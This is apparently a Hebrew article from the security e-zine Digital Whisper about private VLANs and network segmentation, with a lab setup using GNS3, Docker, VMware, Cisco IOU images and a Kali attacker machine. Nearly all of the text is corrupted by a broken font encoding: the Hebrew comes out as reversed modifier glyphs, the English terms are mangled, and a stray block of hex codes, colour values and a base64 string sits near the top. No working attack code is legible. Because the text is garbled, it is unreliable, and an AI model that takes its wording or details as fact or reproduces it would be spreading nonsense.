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ˣ  ,˭˟ˣˬ˩  ˣˮˮˣ˴˶˟  ˢ˪˞˩ ˫˧˶ˬ˞ˬ ˫˰ ˶ˣ˞ ˢ˞ˣ˶ ˢˤˢ ˭ˣ˧˪ˠˢ ˣ˸ˣ˩ˤ˟ˣ ˷ˡˣ˥ˢ ˪ˬ˰˷ ˧ˬ ˪˩˪ ˢ˟˶ ˢˡˣ˸

 !˫˧˧˸ˣ˩˧˞    ˢ˟˶ ˢˡˣ˸˪) ˪˞˧˦˯˵ ˵˧˲˞ŎǇттŦƪпǊ  ,(  ˢ˟˶ ˢˡˣ˸˪ ˧ ˲˯˩ ˶ˬˣ˰  ,ˢ˟˶ ˢˡˣ˸  ˪˟˧ˮ˧ ˪ˠ  ,  ˢˡˣ˸

  ˢ˟˶˪˧˶ˣ˵˷ ˧˦ˣˬ , ˢ˟˶ ˢˡˣ˸ ˪ ˭˧˵˟˧˞ ˪˞˧ˮˡˣ ˢ˟˶ ˢˡˣ˸ ˪˧˶ˤ˰˪˞ ˭ˡ ! 

      ,ˢˬ˧˰ˮ ˢ˞˧˶˵ 

 ˶ ˡ˞ ˶˧ˮˣ ˪˞˧˦˯˵ ˵˧˲˞  

˫˧˩˶˴ˬ   ˪ )- лōммлл(˸ˣ˧ˠˣ˰Υ 

¶ 0xAA   ˥ ˬ˵ ˫˶ˠ 

¶ 0x03  ˶ˠ ˫  s ˧˧˸˷˪ ˢˡˣ˯ 

¶ 0x05  ˶ˠ ˫  ˥ ˪ˬ 

¶ 0x73   ˸ ˯ˬˣˬ ˢ˞ˬ˥ ˫˶ˠ 

¶ 0x32  ˶ˠ ˫   ˶˩ˣ˯#FFFFFF 

¶ 0x64  ˶ˠ ˫ RGFyayBicm93biBzdWdhcg== 

¶ 0x64  ˶ˠ ˫ ˶˧˶ˬ ˯˲˧'˴ ˡ˪ˣ˵ˣ˷ 

¶ pidof init  s ˴˧˟ 

¶ pidof init   ˸˧˴ˬ˸#F3E5AB   ˸ ˧˸ˣ˩˧˞ 

 :ˢˮ˩ˢˢ ˭˲ˣ˞ 

1.   ,ˢ˴˧˟ ˢ˶˰˵˟ ˠ˪ˤˬ ˫˰ ˫˧˟˟˶˰ˬ#F3E5AB    ˷˧ ,ˡ˧˥˞˷˩ .(˱˧˴˵ˢ˪ ˞˪ ˟ˣ˷˥) ˶˩ˣ˯ˣ

 .˸ˣˡ˧˥˞˪ ˡ˰ ˟˟˶˰˪ ˨˧˷ˬˢ˪ˣ ˸˯ˬˣˬ ˢ˞ˬ˥ ˱˧˯ˣˢ˪ 

2.   ,˥˪ˬˢˣ ˢ˧˸˷˪ ˢˡˣ˯ ,˥ˬ˵ˢ ˸˞ ˡ˶˲ˮ˟ ˟˟˶˰˪ ˷˧ ,˭˩ˬ ˶˥˞˪  ˱˧˯ˣˢ˪ ˭˩ˬ ˶˥˞˪ˣ

 .˟ˣ˟˶˰ ˫ˣˬ˧ˮ˧ˬ ˫˰ ˸˧˶ˣ˵ˬˢ ˢ˶˰˵˪ 

3.  l ˪ˣ˵ˣ˷ ˱˧˯ˣˢ˪ .˸ˣ˥˲˪ ˫˧˧˸˰˷˪ ˶˶˵˪ ˭˩ˬ ˶˥˞˪ˣ ,    ˶ˣ˴˧˪ ˷˧ ,˶ˣ˶˧˵ˢ ˶ˬˠ ˶˥˞˪

  ˪˷ ˫˧˶ˣˡ˩ ˢ˯˧˰ˢˬ0x32    .˭ˣˡ˪˞ˬ ˥˪ˬ ˦˰ˬ ˶ˤ˲˪ˣ ˫˶ˠ  ˷˞˶ˬ ˫ˬˣ˥ˬ ˶ˣˮ˸˟ ˸ˣ˲˞˪

-˪0xA0  ˨˷ˬ˪ ˸ˣ˪˰ˬ-˩0x11  .˸ˣ˵ˡ 

4. ˰ˬ˪ ˷˧ ˶ˣˮ˸ˢˬ ˫˧˞˧˴ˣˬ˷ ˶˥˞˪ ˨ˣ .˯ˣ˩ ˪˷ ˸˧˸˥˸ ˫˰ ˸ˣˮ˧ˡ˰˟ 

  ˭ˣ˟˞˸˟J 
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 ˫ ˧ˮ˧˧ˮ˰ ˭˩ˣ˸ о 
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ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  п 
 

 ˢˬˣ˥ ˫˧ˮˣ˟ ˞˪ ˢ˩˩-  ˪˰±[!b IƻǇǇƛƴƎ 

) ˪˞˧˦˯˵ ˵˧˲˞ ˸˞ˬcp77fk4r ( 

 

 s ˬˡ˵ˢ 

  ˷˧˞˪ ˸˸˪ ˭˸˧ˮ˷ ˸ˣ˟ˣ˦ˢ ˸ˣ˴˰ˢ ˸˥˞IT  ˫˧ˮ˲ ˸˷˶ ˟˧˩˶ˬ ˞ˣˢ ˶˷˞˩-  ˢ˶ˣ˴˟ ˢ˸ˣ˞ ˸ˣˮ˟˪ ˞˧ˢ ˸˧ˮˣˠ˶˞

  .ˣ˷˵ˣ˟ˬ ˸˞ ˠ˧˷ˢ˪ ˢ˷˵ ˣ˪ ˢ˧ˢ˧ ˭˧˧ˡ˰ ˸˷˶ˢ ˨ˣ˸˟ ˞˴ˬˮ ˶˟˩ ˧˪˞˧˴ˮ˦ˣ˲ ˱˵ˣ˸ ˫˞ ˫ˠ ˧˩ ˢ˥˧ˮˬˢ ˸˞ˤ˩

 ˸ ˸˪ ˸˷˶ˢ ˸˵ˣ˪˥ ˢ˧ˢ˸ ˨˩˪ ˞ˬˠˣˡ-  ˢ˸ˣ˞ ˧˶˧˧ˡ˪ ˫˧ˮ˸ˣˮ ˣˮ˞˷ ˭ˣˬ˞ˢ ˢˬ˶ ˧˲ ˪˰ ˶˸ˣ˧ ˸ˣˮ˦˵ ˸ˣ˸˷˶

˟˵ˢ˪ ˪˩ˣ˸ ˭ˣˬ˞ˢ ˸ˬ˶ .˸˷˶ˢ  ,˫˧˯ˣ˶˧ˣ) ˫˧˵˧ˤˬ ˣ˟˟ˣ˸˯˧ ˢˤ ˶ˣˤ˧˞˟˷ ˸ˣ˶˧˟˯ˢ ˸ˬ˶ ˯˧˯˟ ˪˰ ˪˷ˬ˪ ˰

 .('ˣ˩ˣ ˫˧ˮ˞˧ˣ˶˦ ˫˧˯ˣ˯ 

  ˞ˬˠˣˡ˪-  ˟ ˫˧˟˷ˣ˧˷ ˫˧˸˶˷-DMZ    ˫˞ ˫ˠ) ˦ˮ˶˦ˮ˧˞ˢ ˸˷˶˪ ˶˧˷˧ ˭˲ˣ˞˟ ˫˧˲ˣ˷˥ˢ ˫˧˸ˣ˶˧˷ ˫˧˴˧˶ˬˣ

  ˨˶ˡ ˰˴˟˸ˬ ˪"ˮˢReverse Proxy    ˣ˞Firewall  ˡˣ˞ˬ ˢ˩ˣˬˮ ˭ˣˬ˞ ˸ˬ˶ ˫˰ ˶ˣˤ˧˞˟ ˣ˧ˢ˧ (-  ˧˩ˬ ˸˞ˤ  ˫˞˷ ˭ˣˣ

  ˢ˟ ˢˬ˯˶ˣ˲ˣ ˸ˮ˩ˡˣ˰ˬ ˢˮ˧˞ ˸ˣ˩˶˰ˬˢ ˸˥˞˷ ˣ˞ ,ˣ˪˞ ˫˧˸ˣ˶˧˷ˬ ˡ˥˞˟ ˦˪˵ ˭ˮ˯˪ ˨˩˷ ˫˧˥˸˲ˬˢ ˡ˥˞

 ˢ˷˪ˣ˥-  .ˢˤ ˸˶˷ ˪˰ ˦˪˸˷ˢ˪ ˥˧˪˴ˢˣ ˢ˷˪ˣ˥ˢ ˸˞ ˪˴˧ˮ ˱˵ˣ˸˷ ˥˧ˮˢ˪ ˢ˧ˢ˧ ˶˧˟˯ 

˫˧ˮ˲ˢ ˫˧˸˶˷ˢ ˦ˮˬˠ˯˟ ˫˧˞˴ˬˮˢ ˫˧˟˷˥ˬ ,˸˞ˤ ˸ˬˣ˰˪-  ˢ˶˟˥ˢ ˧ˡ˟ˣ˰ ˸˞ ˵˶ ˷ˬ˷ˬ ˶˷˞ ,˧ˮˣˠ˶˞

 ˫˧˲ˣ˷˥ ˫ˮ˧˞ˣ s  ˸˶˷ ˭ˣˠ˩) ˦ˮ˶˦ˮ˧˞ˢ ˸˷˶˪-DC ˢ ˸˶˷ ˣ˞-Jira  .ˡˣ˞ˬ ˢˢˣ˟ˠ ˭ˣˬ˞ ˸ˬ˶ ˫˰ ˶ˣˤ˧˞˟ ˣ˧ˢ˧ (

ˢ ˸˷˶ ˣ˞ ˫˧˷ˬ˸˷ˬˢ ˶ˣˤ˧˞-Wireless    ˣ˟ ˡˣ˷˥˪ ˷˧˷ ˶ˣˤ˧˞˟ ˢ˧ˢ˸ ˞˧ˢ ˫ˠ ˫˧˥˶ˣ˞ˢ ˪˷-    ˭ˣˣ˧˩ˬ ˸˞ˤ

 ˧˷ˮ˞˩ ˣˮ˪˷ ˢ˦˧˪˷ˢ˷IT  .ˡˣ˞ˬ ˢ˩ˣˬˮ ˢˤ ˶ˣˤ˧˞˟ 

˞ ˸ˬ˶ ˧˲ ˪˰ ˫˧˶ˣˤ˧˞˪ ˸˷˶ˢ ˧˟˞˷ˬ ˸ˡ˶˲ˢ ˭˧˧ˮ˰ ˫ ˧ˮ˲ˢ ˫˧˸˶˷ˢ ˶ˣˤ˧˞˟ :˸˧ˮˣ˧ˠˢ ˪˩ˢ ˨˯ ˞˧ˢ ˭ˣˬ-

  ˶ˣˬ˞ ˢˬ ˸ˣ˞ˡˣˣ˟ ˦˰ˬ˩ ˸ˣˤ˥˪ ˫˧˰ˡˣ˧ ˣˮ˞ ,˭˩ˡˣ˰ˬ ˢ˧ˢ˧ ˟˧˩˶ˣ ˟˧˩˶ ˪˩˷ ˠˣ˞ˡ˪ (˸˧˯˥˧) ˣˮ˪ ˪˵ ˧ˮˣˠ˶˞

  ˱˯ˣˮ˟ .˰˟˦ ˨˶ˡ˩ ˣˮ˪ ˫˧˶˩ˣˬ ˫ˮ˧˞˷ ˫˧˧˦ˮˬ˪˞ ˢˤ ˶ˣˤ˧˞˟ ˣ˴ˣ˴˧˷ ˢ˟˧˯ ˭˧˞ˣ ˸˶˷ ˪˩˟ ˸ˣ˧ˢ˪-    ˧ˬ

  ˪˪˩ ˨˶ˡ˟ ˫ˢ ˣ˪˞ ˫˧˸˶˷˪ ˶˟˥˸ˬ˷  ˢˡˣ˟˰ˢ ˪˷ ˸ˣ˟˧˷˥ˢ ˸˞ (˧ˡ˩ ˡ˰) ˫˧ˮ˧˟ˬˢ ˫˧˧ˮ˩˦ ˫˧ˡ˟ˣ˰

  ˣ˞ ˫˧˷ˬ˸˷ˬˢ ˶ˣˤ˧˞˟ ,˸˞ˤ ˫˰ .˸˧˸˷˶ˢ ˢˮ˧˧ˠ˧ˢˢˣ ˰ˡ˧ˬˢ ˸˥˦˟˞ ˧˪ˢˮ ˪˰ ˢˡ˲˵ˢˢˣ ˸˶ˡˣ˯ˬˢ

ˢ ˸˷˶˟-Wireless    ˭˧˵˸ˬ ˣ˞ ,ˣ˪˷ ˭ˣ˲˦˶˞ˬ˯ˢ ˫˰ ˰˧ˠˬ ˡ˟ˣ˰ ˪˩ ,ˢ˦˧˪˷ (˦˰ˬ˩) ˣˮ˪ ˭˧˞ ˫˧˥˶ˣ˞ˢ ˪˷

ˢ ˪˰-Laptop   ˞  ˭˲ˡ˲ˡ ˢˤ˧˞ ˣ˪˷ ˧˷˧˞ˢ  ˧ˮˮˣ˩˟ ˷ˬ˸˷ˬ ,ˣ˪ ˵˷˥˸ˬ˷ ˢˮ˩ˣ˸ ˣUSB    ˭˩˧ˢ ˰ˡˣ˧ ˡ˷ˢ ˵˶˷

 .ˡˣ˰ˣ ˭ˬˡˤˬ ˧ˬ˧ˮˣˮ˞ ˥˪ˣ˷ ˪˩ˬ ˫˧˪˧˧ˬ ˫˧˥˸ˣ˲ ,˫˸ˣ˞ ˶˟˧˥ ˞ˣˢ˷ ˧ˮ˲˪ ˣ˧ˢ 

 

  ˧˵ˣ˥ ˶˧ˡˠˢ˪ ˪˩ˣˮ ˸ˣ˪˵˟ ˧ˡ ,˶ˣˤ˧˞ ˪˩ ˪˰ ˣˮ˶ˢ˴ˢ˷ ˶˥˞˪ACL    ˞˴ˣ˧ˢ ˣ˞ ˣ˧˪˞ ˯ˮ˩ˮˢ ˰ˡ˧ˬˢ ˶ˣ˟˰ ˫˧˧ˡˣ˰˧

ˮ˪ ˥˧˪˴ˢ ˶˷˞ ˱˵ˣ˸ ˪˰ ˸ˣ˷˵ˢ˪ ˨˩˟ˣ ,ˣˮˬˬ  ˰˧ˠˢ˪ ˸ˣ˶˧˩ˬˢ ˧˷ˮ˞ˬ ˡ˥˞ ˪˷ ˭˲ˡ˲ˡ˟ ˢ˷˪ˣ˥ ˪˴

 .˸˷˶˟ ˫˧˲˯ˣˮ ˫˧˶ˣˤ˧˞˪ 
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  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  р 
 

  ˫˧˧˲˧˴˲˯ ˫˧˦˶ˣ˲˟ ˵˶ ˫˧˸˶˷ˢ ˦ˮˬˠ˯˪ ˸˷ˠ˪ ˪˩ˣ˧ ˫˧˷ˬ˸˷ˬˢ ˦ˮˬˠ˯˷ ˣˮ˶ˡˠˢ ˫˞-    ˪˰ ˢ˷˵˧ ˶˟ˡˢ

ˢ ˧˷ˮ˞˪ ˶˷˲˞˪ ˢ˟˧˯ ˫ˣ˷ ˭˧˞ ,˞ˬˠˣˡ˪ .˸˷˶˟ ˫ˡ˵˸ˢ˪ ˱˵ˣ˸ˢ-HR    ,˥ˣ˸˧˲ˢ ˸˟˧˟˯˟ ˫˧˸˶˷˪ ˸˷ˠ˪

  ˶˷˲˞˪˟ ˭ˣ˧ˠˢ ˫ˣ˷ ˭˧˞ˣˢˬ ˫˧˸˶˷˪-DMZ   ˟  ˶˧ˡˠˮ ˪"ˮˢ ˪˩ ˸˞ .˸ˣ˶˧˩ˬˢ ˧˷ˮ˞ ˪˷ ˫ˢ˧˟˷˥ˬ˪ ˸ˣˮ˲˪-

ACL- s  ˧˟˧˩˶ ˪˰ ˫˧-Firewall  ˢˣ-Core Switch- .˫˧ˡˣ˶˦ ˸ˣ˥˲ ˸ˣ˧ˢ˪ ˶˷˲˞ ˶˟˩ˣ ˸˷˶˟ ˫˧ 

  ˫˧˥˸˲ˬ ˪˷ ˢˬˣ˵ˣ ,˫˧˸˶˷ ˪˷ ˢˬˣ˵ˣ ,˸ˣ˶˧˩ˬ ˧˷ˮ˞ ˪˷ ˢˬˣ˵ ˣˮ˪ ˷˧ ˤ˞ ,˧˧˵ˣ˞-    ˸˥˞ ˪˩ ˶˧ˡˠˢ˪ ˪˩ˣˮ

˰ ,˸ˡ˶˲ˮ ˸˷˶˩ ˸ˣˬˣ˵ˢˬ ˪  ˶˟˥˪ ˡˣ˧˴ˢ ˸˞ ,ˢ˪˷ˬ ˡ˶˲ˮ ˡˣ˧˴ ˫-Core Switch  ˪ ˣ-Firewall   ˣ˧˪˰ˣ ,˧ˤ˩˶ˬˢ
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  ˫˧˴ˣ˪˧˞ ˪˷˟˷ ˫˧˴ˣ˶ ˣˮ˧˧ˢ ˞˪ .˫˧˩ˣ˟˧˯ˣ ˸ˣ˪˵˸˪IT    ˶ˣˤ˞ˬ ˵˶ ˡˣ˟˰˪ ˣ˴˪˞˧ ˭ˣˠ˶˞ˢ ˧ˡ˟ˣ˰ ˫˧˶˥˞ˣ ˢ˪˞˩
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 x ˪˷ ˭ˣ˶˩ˤˢ ˸˞    ˸˞ ˞ˣ˶˵˪ ˫ˣ˥˟ ˳˧˪ˬˬ ˧ˮ˞ ˢˤ ˞˷ˣˮ˟ˢˤ ˞˷ˣˮ˟ ˵˧ˮ˶ˢ ˭ˣ˶ ˪˷ ˢ˪ˣ˰ˬˢ ˶ˬ˞ˬˢ    ˫˯˶ˣ˲˷

ˢ ˭ˣ˧˪ˠ˟-пн  .˭˧ˤˠˬˢ ˪˷ 
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 .ˢ˞˪ˢ ˢ˸ˣ˞ 

  

http://www.digitalwhisper.co.il/
https://www.digitalwhisper.co.il/files/Zines/0x2A/DW42-4-PVLANS.pdf


 
 

 -     ±[!b IƻǇǇƛƴƎ 
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

  ˭ˣ˧˪ˠмнт ,  ˳ ˶ˬ  нлнм  т 
 

 s ˡ˟˰ˬˢ ˸ˮ˩ˢ 
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http://www.digitalwhisper.co.il/
https://github.com/GNS3/
https://github.com/GNS3/gns3-server/issues/1589
https://en.wikipedia.org/wiki/Dynamips
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-˪Db{о    ˸˶˷˪ ˶˟˥˸ˢ˪ ˭˸˧ˮ ,ˣ˟ ˷ˬ˸˷ˢ˪ ˡˣ˞ˬ ˳˪ˬˣˬ˷ ˡˣ˞ˬ ˡˬ˥ˮ ˶'˴˧˲ ˷˧Db{о    ˸ˮˣ˩ˬ)¦ōǳƴǘǳ  

  ˸˟˧˟˯ ˫˰ 5ƻŎƪŜǊ  (˷˞˶ˬ ˸ˠ˲ˮˣ˵ˬ  ˶˸ˣ˧ˬ ˠˣ˲ˮ˵ ˨ˣ˯˥˪ ˨˩˟ˣ ˫˧˶ˣ˦˪ˣˬ˞ˢ ˪˪˩ ˸˞ ˳˧˶ˢ˪ ˭˸˧ˮ ˢ˧˪˰˷

  ˫˷˟ ˢˮˣ˩ˬ ˪˰ ˳˶ ˸˶˷ˢ .˫˧ˡ˟ˣ˰ ˫˸˞ ˣ˧˪˰ ˧ˬˣ˵ˬˢ ˟˷˥ˬˢ ˪˷Db{о ±a    ˪˰ ˳˧˶ˢ˪ ˶˷˲˞ ˢ˸ˣ˞˷

±aǿŀǊŜ ²ƻǊƪǎǘŀǘƛƻƴ    ˪˰ ˣ˞±ƛǊǘǳŀƭ.ƻȄ   s  ˸˴˶ˢ ,˫˩˧˸ˣ˲ˡ˰ˢ ˧˲ ˪˰-±a-  ˸˶˷ ˪˰ ˸˷˶ˢ ˧˟˧˩˶ ˪˷ ˫˧

ˬˣ ˢˡˣ˟˰ˢ ˸˞ ˭˧˦ˣ˪˥˪ ˸˦˷˲ˬ ˢˤˢ ˸˶˧ˬ˷˟ ˨˶ˣ˴ˢ ˸˞ ˸˶˸˧˧-{ǘŀǘŜ-  ˣˬ˧˷ .˫ˢˬ ˸˥˞ˣ ˸˥˞ ˪˩ ˪˷ ˫˧

ˢ ˪˰ ˫ˣ˵ˬ ˦˰ˬ ˞˪ ˸˧˯˥˧ ˸˷˶ˣˡ ˞˧ˢ˷ ˟˪-IŀǊŘŘƛǎƪ . 

  ˸ˮ˵˸ˢ ˪˰ ˶˟˯ˢDb{о    ˪˰±aǿŀǊŜ    ˣ˞±ƛǊǘǳŀƭ.ƻȄ    ˫˰±a Db{о    ˸ˣ˞˶˪ ˶˷˲˞ ˭ ˞˩.    ˢˮ˵˸ˢˢ ˶ˬˠ˟

:ˢˤ˩ ˣˢ˷ˬ ˪˟˵˪ ˫˧˶ˣˬ˞ ˫˸˞ 

 

  ,˭ˣ˩ˮ ˪˩ˢ ˫˸˧˷˰ ˫˞Db{о    ˵˧˪ˡˢ˪ˣ ˫˩˧˪˰ ˢ˟˧˟˥ˢ ˸˧˪˞ˣ˦˶˧ˣˢ ˢ˟˧˟˯ˢ ˸˞ ˸˧˦ˬˣ˦ˣ˞ ˫˧˶ˢ˪ ˢ˶ˣˬ˞

ˢ ˸ˮˣ˩ˬ ˸˞ ˢˬ˴˰˟-Db{о ±a    ˥˪˴ ˨˧˪ˢ˸ˢˣ ˢˡ˧ˬ˟ .ˢ˧˪˞ ˶˟˥˸ˢ˪ˣ-  ˢ ˡ˧˪˷ ˢ˶ˣˮˢ-"Da{о ±a  "

  ,˟˴ˬˢ ˞˪ ˢˤˣ ˢˡ˧ˬ˟ .˵ˣ˶˧ ˰˟˴˟ ˢ˵ˣ˪ˡ ˢ˧ˢ˸ˢ ˭˵˸ˣˢ ˢ˟˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˢ˟˧˟˯ˢ ˸˞ ˥ˣ˸˲˪ ˣ˪˩ˣ˸-

Db{о ±a˟ ˶ˣ˥˟˪ ,-5ƛǎǇƭŀȅ ±a LƴŦƻǊƳŀǘƛƻƴˢ ˸˟ˣ˸˩ ˢˬ ˸ˣ˞˶˪ ˣ˪˩ˣ˸ ˤ˞ˣ ,-Lt  s ˷-Db{о ±a  :ˢ˪˟˧˵ 

 

 ˟  ˶˟˥˸ˢ˪ ˣ˪˩ˣ˸ ,˱˯ˣˮ˟-ǎǎƘ    ˫ˢ ˸ˣˢˡˤˢˢ ˧˦˶˲) ˸˶˷˪ƎƴǎоΥƎƴǎо  ˸ˣˬˡ˵˸ˬ ˸ˣ˧˴˵ˮˣ˲ ˪˧˰˲ˢ˪ ˨˩˟ˣ (

 ˟  ˸ˣ˶˷˲ˣ˞ˬ ˞˪˷ ˶˸ˣ˧-D¦L . 

http://www.digitalwhisper.co.il/
https://docs.gns3.com/docs/getting-started/setup-wizard-gns3-vm/
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 ˸˲˯ˣˢ{ǿƛǘŎƘ 

  ˱˧˯ˣˢ˪ ˸ˮˬ ˪˰{ǿƛǘŎƘ    ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˷ˬ˸˷˞ ˢˤ ˶ˬ˞ˬ˟ ,ˢˬ˧˞˸ˬ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˠ˧˷ˢ˪ ˣˮ˧˪˰

Lh{    ˫ˢ˟ ˫˧˷ˬ˸˷ˬ ˣ˵˯˧˯˷ ˡ˟˰ˬˢ˷ ˰ˡˣ˧ ˶˧˩ˬ ˦˰ˬ˷ ˧ˬ .˫˧ˠ˸ˬˣ ˫˧˟˸ˮ˪ ˣ˵˯˧˯ ˸˞ ˸˷ˬ˸˷ˬ ˶˷˞

  ˞ˣˢ ˫˧˧˦˶ˡˮ˦˯ˢ ˫˧ˬˠˡˢ ˟˶˟tƻǿŜǊt/ˣ ,-Db{   ˟  ˷ˬ˸˷ˬ-5ȅƴŀaLt{  -  ˪ ˢ˧˴˪ˣˬ˞ ˰˴˟˪ ˡ˰ˣˮ˷-

  ˡ˟˰ˬ˪aLt{  . 

 ˵ ˣ˥˟ ˥ˣ˦˟ ˞˪ ˧ˮ˞˷ ˪˪ˠ˟ ˨˞ ,˪"ˮˢ ˢ˧˰˟ˢ ˪˰ ˶˟ˠ˸ˢ˪ ˶˷˲˞ ˦ˮ˶˦ˮ˧˞˟ ˷ˣ˲˧˥ ˧ˡˬ ˶˸ˣ˧ ˞˪ ˫˰  ˸ˣ˧

  ˫˧˵ˢ˪ˣ ˣ˵˯˧˯ ˪˷ ˫˧˶˴ˣˬˢ ˸˞ ˷ˣ˩˶˪ ˫˧˞˶ˣ˵ˢ ˸˞ ˡˡˣ˰ˬ ˧ˮ˞˷ ˡ˧ˠ˞ ˵˶ .˧ˡˬ ˶˸ˣ˧ ˦˶˲˞ ˞˪ ˭˧˧ˮ˰ˢ

 :˞˟ˢ ˶ˣ˷˧˵ˢ ˸˞ ˭˞˩ ˥˧ˮ˞ ˫ˠˣ ˫ˢ˪˷ ˫˧˪ˣ˰ˬˢ ˫˧˯˶ˣ˵ˢ ˡ˥˞˪ ˫˷˶ˢ˪ ˣ˞ ˸˧ˤ˧˲ ˢˡ˟˰ˬ 

ƘǘǘǇΥκκƎƴǎоΦȄȅȊκ 

˞˷ ˢˬ ˸˞ ˫˸ˠ˷ˢˣ ˡˣ˧˴ˢ ˪˩ ˸˞ ˫˸˷˩˶˷ ˧˶˥˞ :˪ ˣ˯ˮ˩ .˸˧˵ˣ˥ˢ ˨˶ˡ˟ ˫˧˩˧˶˴ ˫˸ 

9Řƛǘ -Ҕ tǊŜŦŜǊŜƴŎŜǎ -Ҕ 5ȅƴŀƳƛǇǎ -Ҕ  Lh¦ 5ŜǾƛŎŜǎ 

 

 s  ˸˞ ˣ˯˧ˮ˩ˢˣ-LƳŀƎŜ ˟ ˣ˶˥˧˟ ,ˢˤ ˸˞ ˫˧˷ˣ˰ ˫˸˞˷˩ .˫˧˞˸ˬˢ- wǳƴ ǘƘƛǎ Lh¦ ŘŜǾƛŎŜ ƻƴ ǘƘŜ Db{о ±a  

ˢ˷ ˸ˮˬ ˪˰-Lh{ ˟ ˳ˣ˶˧-5ƻŎƪŜǊ ˢ ˨ˣ˸˟˷-Db{о ±a  ˣ˪ ˣ˞˶˵ .{²м  ˫˰˲ˢˣ ˟ˣ˷ ˣˤ ˢ˪ˣ˰˲ ˣ˰˴˟ ˸˰˩ .

 ˠ˸ˬ˪ ˣ˞˶˵{²н . 

 :˭˧˧ˮ˰˸ˬ˷ ˧ˬ˪  Lh¦   ˞ ˣˢ    ˶ˣ˴˧˵Lh{ hƴ ¦ƴƛȄ    ˪˷ ˥ˣ˸˧˲)/ƛǎŎƻ˟ ˳˶˷ ˶˟ˡ ˪˩˪ ˧˯˵ˣˮ˧˪ ˨˧˪ˢ˸˟ ˶˟ˣˡˬ (-

¦ǎŜǊ aƻŘŜ  ˢ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˞ ˭˧˦ˣ˪˥˪ ˢˬˡˬˣ-Lh{-  ˪˷ ˸˧/ƛǎŎƻ    ˪˰ ˢ˴˶˷tƻǿŜǊt/    ˭˸˧ˮ ˨˩˟ˣ

 ˸˞ ˳˧˶ˢ˪Lh{   .˫˧˴ˣ˶˷ ˡ˟˰ˬ ˪˩ ˪˰ 

http://www.digitalwhisper.co.il/
http://gns3.xyz/
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 ˱ ˵ˣ˸ ˸˲˯ˣˢ 

ˢ ˸˞ ˫˸˶˴˧˷ ˶˥˞˪-{ǿƛǘŎƘ    ˧ˮ˞ .˸ˣ˲˵˸ˬˢ ˸˞ ˰˴˟ˮ ˣˮˬˬ ˢˡˬ˰ˢ ˸˞ ˯˧ˮ˩ˢ˪ ˢ˴˶ˮ .ˡˣ˟˰ˮ ˣ˧˪˰˷

˟ ˧˸˶˥˟-Yŀƭƛ    ˫˧ˮ˵˸ˣˬ ˫ˢ˷˩ ˶˟˯ˢˢ ˨˪ˢˬ˟ ˷ˬ˸˷˞ ˫ˢ˟˷ ˫˧˪˩ ˶˲˯ˬ ˫˰ ˢ˰˧ˠˬ ˞˧ˢ˷ ˧ˮ˲ˬ

.˫˩˸˶˧˥˟˪ ˢ˪˰˲ˢ ˸˩˶˰ˬ ˪˩˟ ˷ˬ˸˷ˢ˪ ˧˷˲ˣ˥ ˣ˷˧ˠ˶˸ ˨˞ ,˷˞˶ˬ  ˶ ˲˯ˬ ˷˧    ˸˩˶˰ˬ ˶˟˥˪ ˫˧˩˶ˡ

  ˪˷ ˢ˟˧˟˯˪ "˸˧˸˧ˬ˞" ˢ˪˰˲ˢDb{о˟ ˷ˬ˸˷˞ ,˶ˣˬ˞˩ ,˧ˮ˞ .-Yŀƭƛ    ˪˰±a˪ ˢ˸ˣ˞ ˭˰˦˞ ,-Db{о    ˵ˣ˧ˡ˟

ˢ ˸˞ ˣˮ˰˦˷ ˣˬ˩-LƳŀƎŜ ˢ ˪˷-{ǿƛǘŎƘ : 

9Řƛǘ -Ҕ tǊŜŦŜǊŜƴŎŜǎ -Ҕ ±aǿŀǊŜ -Ҕ ±aǿŀǊŜ ±aǎ  

ˢ˷ ˶ˣ˥˟˪ ˢ˧˴˲ˣ˞ ˭˧˞ ˢˤˢ ˢ˶˵ˬ˟-±a  ˢ ˪˰ ˳ˣ˶˧-5ƻŎƪŜǊ  ˢ ˪˷-Db{о ±a  ˪˰ ˣ˴˥˪˸ ˶˷˞˩ .bŜǿ  ,

˟ ˶ˣ˥˟˪ ˣ˪˩ˣ˸-±a [ƛǎǘ  ˢ ˸ˬ˧˷˶ ˨ˣ˸ˬ ˸ˬ˧˧˵ ˸˧˪˞ˣ˦˶˧ˣ ˢˮˣ˩ˬ-±a-ˢ˷ ˫˧-±aǿŀǊŜ ²ƻǊƪǎǘŀǘƛƻƴ  

 .˶˧˩ˬ ˫˩˪˷ 
 

 

 ˸ ˣ˶˦ˬ ˸˲˯ˣˢ 

 

˟ ˢ˧ˢ˸˷ ˢˮˣ˩ˬ) ˢ˶˦ˬ ˱˧˯ˣˢ˪ ˸ˮˬ ˪˰-±[!b    ˷ˬ˸˷ˢ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ ˭˧˞ ,(˱ˣ˵˸˪ ˢ˴˶ˮ ˢ˸ˣ˞ˣ ˶˥˞

-˟±a  ˟ ˞˩ˣ ˫˧˟˞˷ˬˢ ˸˞ ˨ˣ˯˥˪ ˪˩ˣˮˣ ˧˸˧ˬ˞    ˪˷ ˢ˶˧˶ˠ ˦ˣ˷˲ ˧"˰ ˷˞˶ˢ±t/{ -    ˢˤ˶ ˢ˧˴˪ˣˬ˧˯˟ ˶˟ˣˡˬ

 ˟  ˢ˧˪˞ ˶˟˥˸ˢ˪ ˭˸˧ˮ ."ˢ˴˵ ˸ˡˬ˰ ˫˸˯" ˪˷-¢ŜƭƴŜǘ    ˵˷ˬˬ ˪˟˵˪ˣ/[L    ˣˮ˪ ˶˷˲˞ˬˢ ˸˧˯˥˧ ˦ˣ˷˲

  ˸˟ˣ˸˩ ˢ˪ ˶˧ˡˠˢ˪Lt s  ˸ˬ˧˷˶ ˸˞ ˸ˣ˞˶˪ ,-!wt /ŀŎƘŜ    ˢˮˬˬ ˥ˣ˪˷˪ ,ˢ˪˷tƛƴƎ-  ˢˮˬˬ ˰˴˟˪ ,˫˧

